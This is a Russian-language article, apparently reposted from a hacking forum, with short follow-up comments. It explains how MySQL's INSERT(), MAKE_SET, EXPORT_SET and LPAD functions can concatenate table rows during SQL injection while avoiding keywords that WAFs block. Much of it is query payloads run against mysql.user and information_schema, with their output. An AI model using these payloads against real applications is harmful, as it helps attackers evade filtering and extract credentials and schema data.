Вступление: Это статья является прямым копипастом статьи с rdot.org. Все права на статью принадлежат NameSpace. (Прим. BB : А вообще - это новый обалденный способ). -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- MySQL: Вытягивание записей в строку с использованием встроенной функции insert Все вы знаете о выводе колонок MySQL-таблицы в одну строку, итак, встречаем - Четвертый метод! Но об этом немного позже, а сейчас вспомним то, что имеется на сегодняшний день. Из статьи Dr.Z3r0: MySQL Injection [полный FAQ] 1. group_concat + Простое использование, небольшой размер - Ограничение в 1024 символа - Достаточно-распространенные в WAF блокируемые-слова: concat, group и _ 2. BENCHMARK + Возможность отсутствия использования concat, group и _ - Большой размер - Выборка по одной из уникальных колонк - Спец-символы @ : = BENCHMARK 3. Неявный цикл в условии + Небольшой синтаксис + Отсутствие ограничений - Спец-символы @ : = А теперь новинка, использование бага функции insert(). Синтаксис функции достаточно простой: Code: INSERT(str,pos,len,newstr) str - Изначальная строка pos - Позиция len - Длина newstr - Новая строка INSERT вставляет в str после pos с длиной len строку newstr: insert('RDoT', 1, 2, 'DR') = DRoT insert(':', 1, 0, 'RDoT') = RDoT: Смотрим дальше, натыкаемся на интересную особенность: Code: mysql> SELECT insert(':', 1, 0, 'RDoT') from mysql.user; +---------------------------+ | insert(':', 1, 0, 'RDoT') | +---------------------------+ | RDoT: | | RDoT: | | RDoT: | | RDoT: | | RDoT: | | RDoT: | | RDoT: | | RDoT: | +---------------------------+ 8 rows in set (0.00 sec) mysql> SELECT insert(0x3A, 1, 0, 'RDoT') from mysql.user; +-----------------------------------+ | insert(0x3A, 1, 0, 'RDoT') | +-----------------------------------+ | RDoT: | | RDoTRDoT: | | RDoTRDoTRDoT: | | RDoTRDoTRDoTRDoT: | | RDoTRDoTRDoTRDoTRDoT: | +-----------------------------------+ 5 rows in set (0.00 sec) Попробуем вставиnm rand(): Code: mysql> SELECT insert(0x3A, 1, 0, rand()) from mysql.user LIMIT 5; +----------------------------------------------------------------------------------------------+ | insert(0x3A, 1, 0, rand()) | +----------------------------------------------------------------------------------------------+ | 0.4782688650100202: | | 0.189468408179905650.4782688650100202: | | 0.51253547660311260.189468408179905650.4782688650100202: | | 0.99427218920949120.51253547660311260.189468408179905650.4782688650100202: | | 0.43375454697176310.99427218920949120.51253547660311260.189468408179905650.4782688650100202: | +----------------------------------------------------------------------------------------------+ 5 rows in set (0.00 sec) А если выводить данные? Code: mysql> SELECT user from mysql.user; +------------------+ | user | +------------------+ | root | | root | | | | root | | | | debian-sys-maint | | phpmyadmin | | root | +------------------+ 8 rows in set (0.00 sec) mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B)) from mysql.user; +-----------------------------------------------------+ | insert(0x3A, 1, 0, concat(user,0x3B)) | +-----------------------------------------------------+ | root;: | | root;root;: | | ;root;root;: | | root;;root;root;: | | ;root;;root;root;: | | debian-sys-maint;;root;;root;root;: | | phpmyadmin;debian-sys-maint;;root;;root;root;: | | root;phpmyadmin;debian-sys-maint;;root;;root;root;: | +-----------------------------------------------------+ 8 rows in set (0.00 sec) Идет склейка, правда с конца. WHERE или LIMIT отдать последнюю запись нам не помогут, но HAVING можно попробовать: Code: mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B))s from mysql.user having length(s) > 50; // Фильтр по количеству символов +----------------------------------------------------------+ | s | +----------------------------------------------------------+ | root;root;phpmyadmin;debian-sys-maint;;root;;root;root;: | +----------------------------------------------------------+ 1 row in set (0.00 sec) mysql> SELECT concat(@a,count(*)) from mysql.user where @a:=insert(0x3A, 1, 0, concat(user,0x3B)); // Запись в WHERE и вывод с помощью переменной и функции группировки +------------------------------------------------------+ | concat(@a,count(*)) | +------------------------------------------------------+ | root;phpmyadmin;debian-sys-maint;;root;;root;root;:0 | +------------------------------------------------------+ 1 row in set (0.00 sec) И самый козырный способ: PHP: SELECT insert(0x3A, 1, 0, concat(TABLE_SCHEMA,0x3B,TABLE_NAME,0x3B,COLUMN_NAME,0x0A))s from information_schema.columns ORDER BY s*0 LIMIT 1; ... information_schema;COLUMNS;EXTRA information_schema;COLUMNS;COLUMN_KEY information_schema;COLUMNS;COLUMN_TYPE information_schema;COLUMNS;COLLATION_NAME information_schema;COLUMNS;CHARACTER_SET_NAME information_schema;COLUMNS;NUMERIC_SCALE information_schema;COLUMNS;NUMERIC_PRECISION information_schema;COLUMNS;CHARACTER_OCTET_LENGTH information_schema;COLUMNS;CHARACTER_MAXIMUM_LENGTH information_schema;COLUMNS;DATA_TYPE ... + Небольшой размер, отсутствие ограничений, использования подзапросов + Полное отсутствие запрещенных слов и символов(Вместо concat можно тот-же insert для склейки использовать) - Запятая, скобки, from - Без них не обойтись Вместо ORDER BY s*0 можно использовать ORDER BY-s, работает достаточно-быстро. UPD. Еще к интересному моменту - работает не только если первый аргумент представлен в HEX, но и если это пустая строка: Code: SELECT INSERT('', 1, 0, CONCAT(user,0 x3a)) FROM mysql.user; (c) profexer Проверено на MySQL 5.1, 5.5
Еще один вариант обхода фильтрации concat: использование функций lpad . LPAD(str,len,padstr) LPAD возвращает str, дополненную слева до размера len символами padstr.
аналогично можно сделать с RPAD, MAKE_SET() или EXPORT_SET() например: Code: mysql> SELECT MAKE_SET(1|2, @@version,USER()); | MAKE_SET(1|2, @@version,USER()) | +-------------------------------+ | 5.5.37-35.0-log,f@localhost | +-------------------------------+ 1 row in set (0.00 sec) Code: mysql> SELECT EXPORT_SET(1,user(),version(),',',2); | EXPORT_SET(1,user(),version(),',',2) | +-------------------------------+ | root@localhost,5.5.40-0 | +-------------------------------+ 1 row in set (0.00 sec) в качестве separator можно указать выводимое поле, само собой, так можно вывести сразу 3 поля правда, необходимость сомнительна.
нашел кое-что вкусное и с неограниченным выводом Code: SELECT MAKE_SET(-1,@@version,database(),user(),@@version,user(),database()); 5.1.69,u192295142_root,u192295142_root@localhost,5.1.69,u192295142_root@localhost,u192295142_root